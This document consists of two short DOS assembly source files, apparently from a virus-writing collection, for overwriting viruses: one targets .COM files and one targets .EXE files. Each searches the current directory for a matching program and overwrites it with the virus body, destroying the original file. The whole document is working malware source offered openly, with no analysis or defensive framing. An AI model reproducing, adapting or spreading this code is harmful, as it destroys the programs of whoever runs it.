; OWCOM.ASM
; An overwriting virii 4 .COM files
; DL/SD
; Plz don't make any other overwriting virii

	Ideal
	Model	Tiny
	CodeSeg
	Radix	16
	StartUpCode

StartOfVirus:
	mov ah, 4E
	lea dx, [Korban]
	mov cx, 27
	int 21
	jc Quit2Dos

	mov ax, 3D02
	mov dx, 9E
	int 21
	xchg ax, bx

	mov ah, 40
	mov cx, EndOfVirus - StartOfVirus
	lea dx, [StartOfVirus]
	int 21

	mov ah, 3E
	int 21

Quit2Dos:
	mov ax, 4C00
	jmp $ - 5

Korban	db '*.COM', 0
EndOfVirus = $
	End

8<===========================================================================>8

; OWEXE.ASM
; An overwriting virii 4 .EXE files
; DL/SD
; Plz don't make any other overwriting virii

	Ideal
	Model	Small
	Stack
	DataSeg
	 Korban		db '*.EXE', 0
	 NewDTA		db 43 dup (?)
	 Label		Buffer	Byte
	CodeSeg
	Radix	16

StartOfVirus:
	mov ax, @Data
	mov ds, ax

	mov es, [Word es:2C]
	xor ax, ax
	xor di, di
	mov cx, -1

FindMySelf:
	cmp al, [Byte es:di]
	jz Here
	repnz scasb
	jmp FindMySelf

Here:
	push ds es
	pop ds
	xchg dx, di
	add dx, 3
	mov ax, 3D02
	int 21
	xchg ax, bx
	pop ds

	mov ah, 3F
	mov cx, 276
	lea dx, [Buffer]
	int 21

	mov ah, 3E
	int 21

	mov ah, 1A
	lea dx, [NewDTA]
	int 21

	mov ah, 4e
	lea dx, [Korban]
	mov cx, 27
	int 21
	jc Quit2Dos

	push ds es
	pop es
	mov ax, 3D02
	lea dx, [NewDTA + 1E]
	int 21
	xchg ax, bx
	pop ds

	mov ah, 40
	mov cx, 276
	lea dx, [Buffer]
	int 21

	mov ah, 3E
	int 21

Quit2Dos:
	mov ax, 4C00
	jmp $ - 5
	End